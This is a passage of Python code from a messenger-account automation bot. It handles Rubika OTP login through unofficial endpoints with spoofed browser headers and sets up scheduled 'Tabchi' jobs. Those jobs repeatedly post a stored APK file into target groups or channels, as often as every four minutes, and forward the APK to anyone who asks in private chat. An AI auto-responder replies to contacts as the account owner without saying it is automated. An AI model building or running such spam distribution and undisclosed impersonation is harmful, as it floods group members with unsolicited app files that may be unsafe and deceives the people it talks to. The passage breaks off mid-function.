        # ----- Tabchi -----
        if data == "ai.group":
            return await _edit(
                chat_id,msg_id,
                trx_sc("📣 Tabchi\n\nFirst choose the platform, then the account, then send the target group link.")
                if en else
                "📣 **تبچی**\n\nاول پلتفرم را انتخاب کنید، بعد اکانت و در مرحله بعد لینک گروه هدف را می‌گیریم",
                _trx115_task_platform_kb(lang,"group"),
            )
        if data.startswith("trx115.group.platform:"):
            platform=data.split(":",1)[1]
            return await _edit(
                chat_id,msg_id,
                trx_sc("📱 Choose the sending account")
                if en else "📱 اکانت ارسال‌کننده را انتخاب کنید",
                _trx115_accounts_kb(uid,lang,"group",platform),
            )
        if data.startswith("trx115.group.account:"):
            aid=int(data.split(":",1)[1])
            a=db.fetchone("SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1",(aid,uid))
            if not a:
                return await _edit(chat_id,msg_id,trx_sc("Account not found") if en else "❌ اکانت پیدا نشد",ai_advanced_menu(lang,uid))
            client=await _ensure_ai_client(uid,aid)
            if not client:
                return await _edit(chat_id,msg_id,trx_sc("This account is not connected") if en else "❌ نشست اکانت در دسترس نیست",ai_advanced_menu(lang,uid))
            state.set(uid,"trx115_task_target",task_kind="group",mode="group_task",account_id=aid,service=a["service"])
            return await _edit(
                chat_id,msg_id,
                trx_sc("🔗 Send the group link or username.\nFor a private group, send its join link. The account must already be a member and allowed to post.")
                if en else
                "🔗 لینک گروه هدف را بفرستید\nاگر گروه خصوصی است لینک دعوت را بفرستید\nاکانت انتخاب‌شده باید عضو گروه باشد و اجازه ارسال داشته باشد\nمثال: `https://rubika.ir/...` یا `@groupname`",
                IKB([[(trx_sc("❌ Cancel") if en else "❌ لغو","cancel")]]),
            )

        # ----- Channel Activity -----
        if data == "ai.channel":
            return await _edit(
                chat_id,msg_id,
                trx_sc("📰 Channel Activity\n\nFirst choose the platform, then the account.")
                if en else
                "📰 **فعالیت چنل**\n\nاول پلتفرم را انتخاب کنید، بعد اکانت",
                _trx115_task_platform_kb(lang,"channel"),
            )
        if data.startswith("trx115.channel.platform:"):
            platform=data.split(":",1)[1]
            return await _edit(
                chat_id,msg_id,
                trx_sc("📱 Choose the account that owns or manages the target channel")
                if en else "📱 اکانت هدف را انتخاب کنید",
                _trx115_accounts_kb(uid,lang,"channel",platform),
            )
        if data.startswith("trx115.channel.account:"):
            aid=int(data.split(":",1)[1])
            a=db.fetchone("SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1",(aid,uid))
            if not a:
                return await _edit(chat_id,msg_id,trx_sc("Account not found") if en else "❌ اکانت پیدا نشد",ai_advanced_menu(lang,uid))
            client=await _ensure_ai_client(uid,aid)
            if not client:
                return await _edit(chat_id,msg_id,trx_sc("This account is not connected") if en else "❌ نشست اکانت در دسترس نیست",ai_advanced_menu(lang,uid))
            state.set(uid,"trx115_task_target",task_kind="channel",mode="channel_task",account_id=aid,service=a["service"])
            return await _edit(
                chat_id,msg_id,
                trx_sc(
                    "🔗 Create/select the target channel with this account and send the direct channel link or username.\n"
                    "Do not send an invite-only link if a public username/link is available."
                ) if en else
                "🔗 کانال هدف را با همین اکانت بسازید یا انتخاب کنید و لینک یا آیدی آن را بفرستید\n"
                "بهتر است لینک عمومی یا `@username` باشد\n"
                "اکانت باید مالک یا مدیر کانال باشد",
                IKB([[(trx_sc("❌ Cancel") if en else "❌ لغو","cancel")]]),
            )

        # ----- Final task preview confirmation -----
        if data == "trx115.task.confirm":
            s = state.get(uid)
            if not s or s.get("state") != "trx115_task_confirm":
                return await _edit(chat_id,msg_id,trx_sc("This confirmation expired. Start again.") if en else "❌ این تایید منقضی شده، دوباره تنظیم را شروع کنید",ai_advanced_menu(lang,uid))
            kind=s["task_kind"]
            aid=int(s["account_id"])
            apk=_trx115_apk_for_account(uid,aid)
            if not apk:
                state.pop(uid)
                return await _edit(chat_id,msg_id,trx_sc("No source APK is saved for this account.") if en else "❌ برای این اکانت APK منبعی ثبت نشده",_trx115_apk_panel_kb(uid,lang))
            payload={"send_apk":True,"apk_id":int(apk["id"]),"source_account_id":aid}
            task_type="channel" if kind=="channel" else "group"
            created=now()
            db.execute(
                "INSERT INTO ai_tasks(user_id,account_id,task_type,target,interval_seconds,message_template,enabled,created_at,updated_at,meta_json,last_run) "
                "VALUES(?,?,?,?,?,?,?,?,?,?,?)",
                (uid,aid,task_type,s["target"],int(s["interval_seconds"]),"",1,created,created,json.dumps(payload,ensure_ascii=False),None),
            )
            state.pop(uid)
            msg_text=(
                trx_sc("✅ Channel Activity started successfully") if kind=="channel" else trx_sc("✅ Tabchi started successfully")
            ) if en else (
                "✅ فعالیت چنل با موفقیت فعال شد" if kind=="channel" else "✅ تبچی با موفقیت فعال شد"
            )
            msg_text += (
                f"\n\n🎯 {s['target']}\n⏱ هر {int(s['interval_seconds'])//60} دقیقه\n📦 APK {apk['id']}"
            )
            return await _edit(chat_id,msg_id,msg_text,ai_advanced_menu(lang,uid))

        if data.startswith("ai.task.del:"):
            tid=int(data.split(":",1)[1])
            db.execute("DELETE FROM ai_tasks WHERE id=? AND user_id=?",(tid,uid))
            return await dispatch_cb(cb_id,uid,lang,u,chat_id,msg_id,"ai.tasks")

        if data.startswith("ai.task.toggle:"):
            tid=int(data.split(":",1)[1])
            row=db.fetchone("SELECT enabled FROM ai_tasks WHERE id=? AND user_id=?",(tid,uid))
            if row:
                db.execute("UPDATE ai_tasks SET enabled=?,updated_at=? WHERE id=?",(0 if row["enabled"] else 1,now(),tid))
            return await dispatch_cb(cb_id,uid,lang,u,chat_id,msg_id,"ai.tasks")

        if data == "ai.tasks":
            rows=db.fetchall("SELECT * FROM ai_tasks WHERE user_id=? ORDER BY id DESC",(uid,))
            lines=[trx_sc("⏱ Scheduled Tasks") if en else "⏱ **زمان‌بندی‌های فعال**"]
            btns=[]
            for r in rows:
                state_label=trx_sc("RUNNING" if r["enabled"] else "OFF") if en else ("روشن" if r["enabled"] else "خاموش")
                name=trx_sc("Channel Activity" if r["task_type"]=="channel" else "Tabchi") if en else ("فعالیت چنل" if r["task_type"]=="channel" else "تبچی")
                lines.append(f"🟢 #{r['id']} — {name} — {r['target']} — {int(r['interval_seconds'])//60}m — {state_label}")
                btns.append([
                    (trx_sc("🔴 Disable" if r["enabled"] else "🟢 Enable") if en else ("🔴 خاموش" if r["enabled"] else "🟢 روشن"),f"ai.task.toggle:{r['id']}"),
                    (trx_sc("🗑 Delete") if en else "🗑 حذف",f"ai.task.del:{r['id']}")
                ])
            btns.append([(trx_sc("↩️ Back") if en else "↩️ بازگشت","ai")])
            return await _edit(chat_id,msg_id,"\n".join(lines),IKB(btns))

    except Exception as e:
        log.error(f"TRX115 dispatch: {e}\n{traceback.format_exc(limit=40)}")

    return await _TRX115_DISPATCH_BEFORE(cb_id,uid,lang,u,chat_id,msg_id,data)

# -------------------------------------------------------------------
# 9) Final message-state router
# -------------------------------------------------------------------
_TRX115_ON_MSG_BEFORE = on_msg

async def on_msg(msg):
    try:
        from_ = msg.get("from", {}) or {}
        uid = from_.get("id")
        chat_id = msg.get("chat", {}).get("id")
        if uid:
            u=ensure_user(uid,from_.get("username",""),from_.get("first_name",""))
            lang=u["lang"] or "fa"
            txt=(msg.get("text") or "").strip()
            s=state.get(uid)

            if s and s.get("state") == State.ADD_APK and s.get("setup_mode") == "source_link":
                aid=int(s["account_id"])
                ok,info=await _trx115_save_apk_from_link(uid,aid,s.get("service",""),txt)
                if not ok:
                    return await bot.send(chat_id,(trx_sc("❌ "+info) if str(lang).startswith("en") else "❌ "+info),reply_markup=IKB([[(t(lang,"btn.cancel"),"cancel")]]))
                state.pop(uid)
                count=db.fetchone("SELECT COUNT(*) c FROM apk_files WHERE user_id=? AND enabled=1",(uid,))["c"]
                text_value=(
                    trx_sc(f"✅ APK saved successfully • {info} • {count} / {MAX_APK_PER_USER}")
                    if str(lang).startswith("en") else
                    f"✅ APK با موفقیت ذخیره شد\n\n📦 {info}\n🔢 {count} از {MAX_APK_PER_USER}\n\nحالا این APK در ارسال‌های مجاز قابل استفاده است"
                )
                return await bot.send(chat_id,text_value,reply_markup=_trx115_apk_panel_kb(uid,lang))

            if s and s.get("state") == "trx115_task_target":
                target=txt.strip()
                if not target:
                    return await bot.send(chat_id,trx_sc("Send a target link or username.") if str(lang).startswith("en") else "لینک یا آیدی هدف را بفرستید")
                aid=int(s["account_id"])
                valid,resolved=await _trx115_validate_target(uid,aid,target)
                if not valid:
                    return await bot.send(
                        chat_id,
                        trx_sc("I could not resolve this target. Send the direct group/channel link or username.")
                        if str(lang).startswith("en") else
                        "نتونستم هدف را پیدا کنم\nلینک مستقیم گروه یا چنل یا `@username` را بفرستید",
                        reply_markup=IKB([[(t(lang,"btn.cancel"),"cancel")]]),
                    )
                state.set(uid,"trx115_task_interval",**{k:v for k,v in s.items() if k not in {"state","at"}},target=target,resolved_target=str(resolved))
                return await bot.send(chat_id,_trx115_interval_prompt(lang,s["task_kind"]),reply_markup=IKB([[(t(lang,"btn.cancel"),"cancel")]]))

            if s and s.get("state") == "trx115_task_interval":
                digits=_trx115_normalize_digits(txt)
                if not digits.isdigit():
                    return await bot.send(chat_id,trx_sc("Send only the number of minutes.") if str(lang).startswith("en") else "فقط عدد دقیقه را وارد کنید")
                minutes=int(digits)
                minimum=TRX115_MIN_CHANNEL_MINUTES if s["task_kind"]=="channel" else TRX115_MIN_TABCHI_MINUTES
                if minutes < minimum:
                    return await bot.send(chat_id,(trx_sc(f"Minimum is {minimum} minutes.") if str(lang).startswith("en") else f"حداقل زمان برای این بخش {minimum} دقیقه است"))
                aid=int(s["account_id"])
                apk=_trx115_apk_for_account(uid,aid)
                if not apk:
                    return await bot.send(
                        chat_id,
                        trx_sc("No source APK is registered for this account. Set up APK first.")
                        if str(lang).startswith("en") else
                        "برای این اکانت هنوز APK منبع ثبت نشده\nاول از بخش تنظیم APK آن را ثبت کنید",
                    )
                preview, kb=await _trx115_make_preview(uid,aid,s["task_kind"],s["target"],minutes,apk)
                state.set(
                    uid,"trx115_task_confirm",
                    **{k:v for k,v in s.items() if k not in {"state","at"}},
                    interval_seconds=minutes*60,
                    apk_id=int(apk["id"]),
                )
                return await bot.send(chat_id,preview,reply_markup=kb)

    except Exception as e:
        log.error(f"TRX115 on_msg: {e}\n{traceback.format_exc(limit=40)}")

    return await _TRX115_ON_MSG_BEFORE(msg)

# -------------------------------------------------------------------
# 10) Improve final live APK request behavior with the account-specific source
# -------------------------------------------------------------------
async def _trx115_event_handler(event, uid: int, service: str, aid: int):
    try:
        client=ai_live_clients.get((uid,aid))
        if client and await _trx110_register_apk(uid,aid,service,client,event):
            return

        text_value=_trx_extract_event_text(event).strip()
        if not text_value or text_value.startswith("/trx"):
            return
        private=_trx_is_private_event(event)
        group=_trx_is_group_event(event)

        apk=_trx115_apk_for_account(uid,aid)
        asked=_trx_apk_intent(text_value)
        if private and apk and asked:
            target=await _trx_event_chat_id(event)
            ok,info=await _trx_forward_source_apk_v11(uid,aid,target,int(apk["id"]))
            if ok:
                desc=await _trx_ai_apk_description(uid,aid,apk)
                try:
                    await _trx_send_self_message(client,target,desc[:1800])
                except Exception:
                    pass
                log_account_activity(aid,uid,"apk_forward",str(target),1)
                return

        # Preserve the normal AI responder for messages that are not APK requests.
        binding=db.fetchone("SELECT * FROM ai_bindings WHERE user_id=? AND account_id=?",(uid,aid))
        if not binding or not binding["enabled"]:
            return
        if getattr(event,"is_me",False) or getattr(event,"out",False):
            return
        if private and not binding["auto_reply_pv"]:
            return
        if group and not binding["auto_reply_group"]:
            return
        if group and not (_trx_event_is_reply(event) or _trx_event_mentions_me(event)):
            return

        peer_key=_trx_peer_key(event,f"{service}:{aid}")
        memory=_trx_memory_load(uid,aid,peer_key,12)
        prompt=_trx_ai_system(uid,aid,"private_reply" if private else "group_reply",f"Conversation peer key: {peer_key}. Reply naturally in Persian.")
        messages=[{"role":"system","content":prompt}]+memory+[{"role":"user","content":text_value[:2500]}]
        reply=await ai.chat(messages,uid=uid,account_id=aid,action_type="auto_reply",temperature=0.7,max_tokens=600)
        if reply:
            for meth in ("reply","respond"):
                fn=getattr(event,meth,None)
                if not fn:
                    continue
                try:
                    await _trx_maybe_await(fn(reply))
                    return
                except Exception:
                    pass
    except Exception as e:
        log.error(f"TRX115 live handler {service}/{aid}: {e}\n{traceback.format_exc(limit=40)}")

# Rebind the live handler used by current registration wrappers.
_trx_event_handler_v11 = _trx115_event_handler
_trx_event_handler_v9 = _trx115_event_handler

print(f"[TRX115] FINAL PATCH v13 LOADED — build={TRX115_BUILD}")


# ═══════════════════════════════════════════════════════════════════
# TRX115 FINAL PATCH v14 — Rubika OTP / APK source-link / Tabchi /
# Channel Activity / English font / exact glass-button layout
#
# This block is deliberately appended so it wins over previous repair
# layers without deleting the original TRX modules.
# ═══════════════════════════════════════════════════════════════════

TRX115_BUILD = "2026-09-22-final-v14"
MAX_APK_PER_USER = 2
TRX115_MIN_TABCHI_MINUTES = 4
TRX115_MIN_CHANNEL_MINUTES = 20

# -------------------------------------------------------------------
# A) English UI: exact requested ɪʀᴀɴ-style Latin small caps
# -------------------------------------------------------------------
_TRX115_SMALLCAPS_FINAL = str.maketrans({
    "a":"ᴀ","b":"ʙ","c":"ᴄ","d":"ᴅ","e":"ᴇ","f":"ꜰ","g":"ɢ",
    "h":"ʜ","i":"ɪ","j":"ᴊ","k":"ᴋ","l":"ʟ","m":"ᴍ","n":"ɴ",
    "o":"ᴏ","p":"ᴘ","q":"ǫ","r":"ʀ","s":"ꜱ","t":"ᴛ","u":"ᴜ",
    "v":"ᴠ","w":"ᴡ","x":"ˣ","y":"ʏ","z":"ᴢ",
    "A":"ᴀ","B":"ʙ","C":"ᴄ","D":"ᴅ","E":"ᴇ","F":"ꜰ","G":"ɢ",
    "H":"ʜ","I":"ɪ","J":"ᴊ","K":"ᴋ","L":"ʟ","M":"ᴍ","N":"ɴ",
    "O":"ᴏ","P":"ᴘ","Q":"ǫ","R":"ʀ","S":"ꜱ","T":"ᴛ","U":"ᴜ",
    "V":"ᴠ","W":"ᴡ","X":"ˣ","Y":"ʏ","Z":"ᴢ",
})

def trx_sc(value: Any) -> str:
    return str(value or "").translate(_TRX115_SMALLCAPS_FINAL)

TRX_DECOR = ""

_TRX115_T_BEFORE_V14 = t
def t(lang, key):
    value = _TRX115_T_BEFORE_V14(lang, key)
    return trx_sc(value) if str(lang or "fa").lower().startswith("en") else value

# -------------------------------------------------------------------
# B) Exact keyboard rule:
#    one button => green
#    two buttons in same row => blue, red
#    >2 => blue/red alternating
# -------------------------------------------------------------------
def IKB(rows):
    keyboard = []
    for row in rows or []:
        raw_items = list(row or [])
        items = [x for x in raw_items if isinstance(x, (list, tuple, dict))]
        if not items:
            continue

        if len(items) == 1:
            styles = ["success"]
        elif len(items) == 2:
            styles = ["primary", "danger"]
        else:
            styles = ["primary" if n % 2 == 0 else "danger" for n in range(len(items))]

        out = []
        for idx, item in enumerate(items):
            if isinstance(item, dict):
                btn = dict(item)
                btn["style"] = styles[idx]
                out.append(btn)
                continue

            if len(item) < 2:
                continue
            label, data = item[0], item[1]
            btn = {"text": str(label)}
            if data is not None:
                if isinstance(data, str) and data.startswith(("http://", "https://")):
                    btn["url"] = data
                else:
                    btn["callback_data"] = str(data)
            btn["style"] = styles[idx]
            out.append(btn)

        if out:
            keyboard.append(out)
    return {"inline_keyboard": keyboard}

def _trx115_normalize_markup(markup):
    if not isinstance(markup, dict) or "inline_keyboard" not in markup:
        return markup
    return IKB(markup.get("inline_keyboard") or [])

# Existing Bot.send/edit wrappers call _trx115_normalize_markup at runtime,
# so replacing IKB here also repairs all older menus.
try:
    Bot._trx115_style_wrapped = True
except Exception:
    pass

# -------------------------------------------------------------------
# C) Rubika OTP: transport independent of rulog's OSError(5)
#
# Known public Rubika protocol references describe legacy API-v3
# sendCode/signIn with a plain JSON envelope, while rulog's documented
# flow is Android -> Web. This implementation tries direct HTTPS first,
# then rulog without recreating the same login hash inside one attempt.
# -------------------------------------------------------------------
TRX115_RUBIKA_URLS = (
    "https://messengerg2c4.iranlms.ir/",
    "https://messengerg2c17.iranlms.ir/",
)
TRX115_RUBIKA_DISCOVERY = "https://getdcmess.iranlms.ir/"

TRX115_RUBIKA_HEADERS = {
    "User-Agent": "Mozilla/5.0 (Linux; Android 13) AppleWebKit/537.36 Chrome/124 Mobile Safari/537.36",
    "Accept": "application/json, text/plain, */*",
    "Content-Type": "text/plain; charset=utf-8",
    "Origin": "https://web.rubika.ir",
    "Referer": "https://web.rubika.ir/",
    "Connection": "keep-alive",
}

def _trx115_extract_hash_final(response):
    if not isinstance(response, dict):
        return None
    for container in (
        response.get("data"),
        response.get("result"),
        response.get("input"),
    ):
        if isinstance(container, dict):
            value = (
                container.get("phone_code_hash")
                or container.get("phoneCodeHash")
                or container.get("hash")
            )
            if value:
                return str(value)
    return (
        response.get("phone_code_hash")
        or response.get("phoneCodeHash")
        or response.get("hash")
    )

def _trx115_rubika_status_ok(response):
    if not isinstance(response, dict):
        return False
    status = str(
        response.get("status")
        or response.get("status_det")
        or response.get("statusDet")
        or ""
    ).upper()
    if status in {"OK", "SUCCESS", "200"}:
        return True
    # A few legacy endpoints put the status only inside data.
    data = response.get("data")
    if isinstance(data, dict):
        dstatus = str(data.get("status") or data.get("status_det") or "").upper()
        if dstatus in {"OK", "SUCCESS", "200"}:
            return True
    return bool(_trx115_extract_hash_final(response)) and not any(
        x in json.dumps(response, ensure_ascii=False).lower()
        for x in ("error", "failed", "invalid", "forbidden", "limit")
    )

async def _trx115_rubika_http_final(payload, timeout=22):
    body = json.dumps(payload, ensure_ascii=False, separators=(",", ":")).encode("utf-8")
    errors = []

    # Optional discovery: only collect obvious HTTPS hosts. Failure is harmless.
    urls = list(TRX115_RUBIKA_URLS)
    try:
        async with aiohttp.ClientSession(
            timeout=aiohttp.ClientTimeout(total=8),
            connector=aiohttp.TCPConnector(limit=4, ttl_dns_cache=300, force_close=True),
        ) as ds:
            async with ds.get(TRX115_RUBIKA_DISCOVERY, headers={
                "User-Agent": TRX115_RUBIKA_HEADERS["User-Agent"],
                "Accept": "application/json,*/*",
            }) as dr:
                if dr.status < 400:
                    raw = await dr.text()
                    for m in re.findall(r"https://[A-Za-z0-9._-]+\.iranlms\.ir(?:/)?", raw):
                        if m not in urls and ("messenger" in m or "g2" in m):
                            urls.append(m)
    except Exception as e:
        log.debug(f"Rubika discovery skipped: {type(e).__name__}: {e}")

    for base in urls[:8]:
        try:
            async with aiohttp.ClientSession(
                timeout=aiohttp.ClientTimeout(total=timeout),
                connector=aiohttp.TCPConnector(limit=4, ttl_dns_cache=300, force_close=True),
            ) as session:
                async with session.post(
                    base,
                    data=body,
                    headers=TRX115_RUBIKA_HEADERS,
                ) as response:
                    raw = await response.text()
                    try:
                        data = json.loads(raw)
                    except Exception:
                        data = {"status": str(response.status), "raw": raw[:1200]}
                    if isinstance(data, dict):
                        return data
                    return {"status": str(response.status), "data": data}
        except Exception as e:
            errors.append(f"{base}: {type(e).__name__}: {e}")

    raise RuntimeError("Rubika HTTPS failed: " + " | ".join(errors)[:1600])

async def rubika_send_code_v14(uid: int, phone: str) -> Tuple[bool, Any]:
    number = _trx_phone_98digits(phone)
    errors = []

    # Direct legacy transport first. This specifically avoids the
    # OSError(5) emitted by the rulog path on some mobile/web runtimes.
    try:
        response = await _trx115_rubika_http_final({
            "api_version": "3",
            "method": "sendCode",
            "data": {
                "phone_number": number,
                "send_type": "SMS",
            },
        })
        phone_hash = _trx115_extract_hash_final(response)
        if phone_hash and _trx115_rubika_status_ok(response):
            active_clients[uid] = {
                "client": None,
                "rulog": None,
                "service": "rubika",
                "phone": number,
                "phone_input": phone,
                "hash": phone_hash,
                "otp_platform": "legacy",
                "backend": "legacy_v14",
                "created_at": time.time(),
                "connected": False,
            }
            log.info(f"[{uid}] Rubika OTP requested via direct HTTPS")
            return True, response
        errors.append("legacy: " + str(response)[:600])
    except Exception as e:
        errors.append(f"legacy: {type(e).__name__}: {e}")

    # Documented rulog fallback. Android and Web use separate Client
    # objects so a failed connection does not poison the next attempt.
    try:
        mod = _trx_import_or_install("rulog", "rulog>=1.0.3")
        RulogClient = getattr(mod, "Client", None)
        if RulogClient is None:
            raise RuntimeError("rulog.Client unavailable")

        for platform, kwargs in (
            ("android", {"send_type": True}),
            ("web", {}),
        ):
            try:
                rc = RulogClient()
                fn = getattr(rc, "sendCode", None)
                if not fn:
                    raise RuntimeError("rulog.Client.sendCode unavailable")
                response = await asyncio.to_thread(fn, platform, number, **kwargs)
                phone_hash = _trx115_extract_hash_final(response)
                if phone_hash:
                    active_clients[uid] = {
                        "client": None,
                        "rulog": rc,
                        "service": "rubika",
                        "phone": number,
                        "phone_input": phone,
                        "hash": phone_hash,
                        "otp_platform": platform,
                        "backend": "rulog_v14",
                        "created_at": time.time(),
                        "connected": False,
                    }
                    return True, response
                errors.append(f"{platform}: {str(response)[:500]}")
            except OSError as e:
                errors.append(f"{platform}: OSError({getattr(e, 'errno', '?')}): {e}")
            except Exception as e:
                errors.append(f"{platform}: {type(e).__name__}: {e}")
    except Exception as e:
        errors.append(f"rulog: {type(e).__name__}: {e}")

    return False, "Rubika OTP failed: " + " | ".join(errors)[:1600]

async def _trx115_build_rubpy_client_final(uid, number, auth, private_key):
    if not auth or not private_key:
        return None

    # Current Rubpy accepts (name, auth, private_key, phone_number, platform)
    # and persists the session in SQLite.
    try:
        from rubpy import Client as RubpyClient
        session_name = os.path.join(SESS_DIR, f"rubika_{uid}")
        client = RubpyClient(
            session_name,
            auth=str(auth),
            private_key=private_key,
            phone_number=str(number),
            platform="Android",
            display_welcome=False,
        )
        connect = getattr(client, "connect", None)
        if connect:
            value = connect()
            await _trx_maybe_await(value)
        return client
    except Exception as e:
        log.warning(f"Rubpy client restore after Rubika login failed: {e}")
        return None

def _trx115_extract_auth_key_final(result):
    if not isinstance(result, dict):
        return None, None

    candidates = [result, result.get("data"), result.get("result")]
    for obj in candidates:
        if not isinstance(obj, dict):
            continue
        auth = obj.get("auth") or obj.get("Auth")
        key = obj.get("key") or obj.get("Key") or obj.get("private_key")
        if auth and key:
            return str(auth), key
    return None, None

async def rubika_verify_v14(uid: int, code: str) -> Tuple[bool, Any]:
    info = active_clients.get(uid)
    if not info or info.get("service") != "rubika":
        return False, "Rubika login session not found"

    number = info.get("phone") or _trx_phone_98digits(info.get("phone_input", ""))
    phone_hash = str(info.get("hash") or "")
    backend = info.get("backend", "")
    platform = info.get("otp_platform", "android")
    code_value = str(code).strip()
    result = None
    errors = []

    if not code_value.isdigit():
        return False, "کد ورود باید فقط شامل عدد باشد"

    # Legacy sendCode -> legacy signIn, same host-failover strategy.
    if backend == "legacy_v14":
        try:
            result = await _trx115_rubika_http_final({
                "api_version": "3",
                "method": "signIn",
                "data": {
                    "phone_number": number,
                    "phone_code_hash": phone_hash,
                    "phone_code": code_value,
                },
            })
            if not _trx115_rubika_status_ok(result):
                errors.append("legacy signIn: " + str(result)[:700])
                result = None
        except Exception as e:
            errors.append(f"legacy signIn: {type(e).__name__}: {e}")

    # rulog signIn if direct legacy signIn was not used or failed.
    if result is None and info.get("rulog"):
        try:
            rc = info["rulog"]
            fn = getattr(rc, "signIn", None) or getattr(rc, "sign_in", None)
            if not fn:
                raise RuntimeError("rulog signIn unavailable")
            attempts = [
                ((platform, number, phone_hash, code_value), {}),
                ((number, phone_hash, code_value), {}),
                ((number, code_value), {"phone_code_hash": phone_hash}),
            ]
            for args, kwargs in attempts:
                try:
                    candidate = await _trx_maybe_await(fn(*args, **kwargs))
                    if candidate is not None:
                        result = candidate
                        break
                except TypeError:
                    continue
                except Exception as e:
                    errors.append(f"{platform} signIn: {type(e).__name__}: {e}")
        except Exception as e:
            errors.append(f"rulog signIn: {type(e).__name__}: {e}")

    if result is None:
        # One final independent legacy signIn attempt, useful when sendCode
        # came from rulog but the legacy auth endpoint is healthy.
        try:
            candidate = await _trx115_rubika_http_final({
                "api_version": "3",
                "method": "signIn",
                "data": {
                    "phone_number": number,
                    "phone_code_hash": phone_hash,
                    "phone_code": code_value,
                },
            })
            if _trx115_rubika_status_ok(candidate):
                result = candidate
        except Exception as e:
            errors.append(f"legacy fallback signIn: {type(e).__name__}: {e}")

    if result is None:
        return False, "Rubika login failed: " + " | ".join(errors)[:1600]

    auth, key = _trx115_extract_auth_key_final(result)
    if not auth:
        # rulog can expose Auth/Key on the object/dict in slightly different ways.
        try:
            auth = getattr(result, "Auth", None) or getattr(result, "auth", None)
            key = getattr(result, "Key", None) or getattr(result, "key", None)
            if auth:
                auth = str(auth)
        except Exception:
            pass

    # Keep a structured session even when the old endpoint omits key data.
    session_payload = {}
    try:
        session_payload = {
            "auth": auth or "",
            "key": key or "",
            "phone": number,
            "platform": platform,
        }
        session_text = json.dumps(session_payload, ensure_ascii=False)
    except Exception:
        session_text = ""

    client = await _trx115_build_rubpy_client_final(uid, number, auth, key)
    if client is None and info.get("rulog"):
        try:
            reg = getattr(info["rulog"], "register", None)
            if reg and auth and key:
                registered = await _trx_maybe_await(reg(platform="android", auths=auth, keys=key))
                if registered and hasattr(info["rulog"], "send_message"):
                    client = info["rulog"]
        except Exception as e:
            log.debug(f"rulog register skipped: {e}")

    if client is None:
        return False, (
            "کد صحیح بود اما نشست روبیکا ساخته نشد. "
            "پاسخ احراز هویت اطلاعات نشست قابل استفاده نداشت"
        )

    cur = db.execute(
        "INSERT INTO accounts(user_id,service,phone,session,status,added_at) VALUES(?,?,?,?,?,?)",
        (uid, "rubika", number, session_text, "online", now()),
    )
    aid = cur.lastrowid

    if client is not None:
        ai_live_clients[(uid, aid)] = client
        active_clients[uid]["client"] = client
        active_clients[uid]["account_id"] = aid
        try:
            _register_ai_handler(client, uid, "rubika", aid)
        except Exception as e:
            log.debug(f"Rubika AI binding registration skipped: {e}")

    active_clients[uid]["connected"] = True
    active_clients[uid]["account_id"] = aid
    log_account_activity(aid, uid, "login", "rubika", 1)
    log_event(uid, "ACCOUNT_ADDED", "rubika")
    return True, result

SERVICE_HANDLERS["rubika"] = {
    "send": rubika_send_code_v14,
    "verify": rubika_verify_v14,
}


# Apply the requested English font even to older UI strings that still
# bypass t()/trx_sc(). Only positive-user chat IDs are translated so
# target messenger IDs and channel contents are not modified accidentally.
_TRX115_BOT_SEND_V14_BASE = Bot.send
_TRX115_BOT_EDIT_V14_BASE = Bot.edit
_TRX115_BOT_SEND_PHOTO_V14_BASE = getattr(Bot, "send_photo", None)

async def _trx115_bot_send_v14(self, chat_id, text, reply_markup=None, parse_mode="Markdown"):
    try:
        if isinstance(chat_id, int) and chat_id > 0 and str(get_lang(chat_id)).lower().startswith("en"):
            text = trx_sc(text)
    except Exception:
        pass
    return await _TRX115_BOT_SEND_V14_BASE(
        self, chat_id, text, reply_markup=reply_markup, parse_mode=parse_mode
    )

async def _trx115_bot_edit_v14(self, chat_id, message_id, text, reply_markup=None, parse_mode="Markdown"):
    try:
        if isinstance(chat_id, int) and chat_id > 0 and str(get_lang(chat_id)).lower().startswith("en"):
            text = trx_sc(text)
    except Exception:
        pass
    return await _TRX115_BOT_EDIT_V14_BASE(
        self, chat_id, message_id, text, reply_markup=reply_markup, parse_mode=parse_mode
    )

Bot.send = _trx115_bot_send_v14
Bot.edit = _trx115_bot_edit_v14

if _TRX115_BOT_SEND_PHOTO_V14_BASE:
    async def _trx115_bot_send_photo_v14(self, chat_id, photo, caption="", reply_markup=None):
        try:
            if isinstance(chat_id, int) and chat_id > 0 and str(get_lang(chat_id)).lower().startswith("en"):
                caption = trx_sc(caption)
        except Exception:
            pass
        return await _TRX115_BOT_SEND_PHOTO_V14_BASE(
            self, chat_id, photo, caption=caption, reply_markup=reply_markup
        )
    Bot.send_photo = _trx115_bot_send_photo_v14

# -------------------------------------------------------------------
# D) APK helpers: use any registered source APK, preferring same target
# account and then the same platform. This allows source account #1 to
# feed a target account #2 on the same/compatible platform.
# -------------------------------------------------------------------
def _trx115_apk_for_account(uid, aid):
    account = db.fetchone(
        "SELECT service FROM accounts WHERE id=? AND user_id=?",
        (aid, uid),
    )
    service = str(account["service"]) if account else ""

    same = db.fetchone(
        "SELECT af.*,src.account_id AS source_account_id,src.source_peer,src.source_message_id,src.platform "
        "FROM apk_files af JOIN apk_sources src ON src.apk_id=af.id "
        "WHERE af.user_id=? AND af.enabled=1 AND src.account_id=? "
        "ORDER BY af.id DESC LIMIT 1",
        (uid, aid),
    )
    if same:
        return same

    same_platform = db.fetchone(
        "SELECT af.*,src.account_id AS source_account_id,src.source_peer,src.source_message_id,src.platform "
        "FROM apk_files af JOIN apk_sources src ON src.apk_id=af.id "
        "WHERE af.user_id=? AND af.enabled=1 AND src.platform=? "
        "ORDER BY af.id DESC LIMIT 1",
        (uid, service),
    )
    if same_platform:
        return same_platform

    default_id = _setting(f"default_apk:{uid}", "")
    if str(default_id).isdigit():
        return db.fetchone(
            "SELECT af.*,src.account_id AS source_account_id,src.source_peer,src.source_message_id,src.platform "
            "FROM apk_files af JOIN apk_sources src ON src.apk_id=af.id "
            "WHERE af.user_id=? AND af.id=? AND af.enabled=1 LIMIT 1",
            (uid, int(default_id)),
        )
    return db.fetchone(
        "SELECT af.*,src.account_id AS source_account_id,src.source_peer,src.source_message_id,src.platform "
        "FROM apk_files af JOIN apk_sources src ON src.apk_id=af.id "
        "WHERE af.user_id=? AND af.enabled=1 ORDER BY af.id DESC LIMIT 1",
        (uid,),
    )

# -------------------------------------------------------------------
# E) Robust message-link parser + reader for APK source channels
# -------------------------------------------------------------------
def _trx115_parse_source_ref_final(raw):
    raw = str(raw or "").strip().strip(" \t\r\n<>()[]{}")
    if not raw:
        return None, None

    # Internal convenient form: channel:123
